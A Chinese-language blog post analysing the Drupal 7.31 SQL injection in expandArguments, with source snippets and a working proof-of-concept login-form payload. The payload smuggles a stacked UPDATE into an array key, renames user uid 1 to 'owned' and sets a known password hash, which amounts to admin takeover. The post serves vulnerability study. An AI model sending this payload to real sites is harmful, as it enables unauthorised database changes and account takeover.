首页 > 代码库 > Drupal 7.31 SQL注入分析及POC

Drupal 7.31 SQL注入分析及POC

这个漏洞昨天爆出的 ,今天才有时间看代码。

在Drupal中,执行sql语句都是使用PDO模型进行的,这样做一般来说是可以规避大多数的注入,因为占位符的使用对sql语句的语法进行了限制。

但是这也不意味着绝对的安全,比如这次的漏洞。

在Drupal的user模块中,找到user.module:

$account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' => $form_state['values']['name']))->fetchObject();

这里的:name就是占位符,它的内容来源于后面的$form_state。跟进这个db_query函数,看看是如何处理表单数据的。

折腾完,找到了expandArguments函数,这个函数的作用就是用前面db_query的参数进行最终查询语句的获取,正是由于这个函数对$key值的处理不当导致了漏洞的产生。

POC:

name[0%20;update users set name%3d'owned',pass%3d'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid %3d 1;%23%20%20]=admin&name[0]=111111&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

POC中的name数组就是传到函数中的Array,然后使用expandArguments函数对其进行处理。

在处理的过程中,以这种方式得到新的数组:

$new_keys[$key . '_' . $i] = $value;

最后获取query语句的时候,会用到这个$new_keys。

$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

那么问题就来了。如果可以控制这个$key,那么我们就可以构造出语句进行执行(注意:PDO模型可以多条执行语句)。

分析POC,对函数进行分析调试:

可以看到,expandArguments函数就是把传递进来的name一层一层分离,最后将key带入最终的sql语句生成过程。上图最后的query就是最终要执行的SQL语句,问题是PDO可以多条执行,所以update语句就会执行成功了。

归结于一句话:Drupal使用:name进行SQL语句拼接,expandArgument函数将:name变为:name0中,使用:name_$key0的方式完成,这个$key是可控的,所以导致漏洞产生。

执行结果如下:


把我之前的admin用户给覆盖了。POC中的密码是使用了drupal内置的一个生成脚本进行生成的,即scripts中的password-hash.sh。

这个漏洞威力也很大,因为你控制了对方的数据库,如此灵活的条件,势必会引发更多花样的攻击手段。

这个漏洞给我的感受就是:“没有绝对的安全”。

【转载请注明出处】



Drupal 7.31 SQL注入分析及POC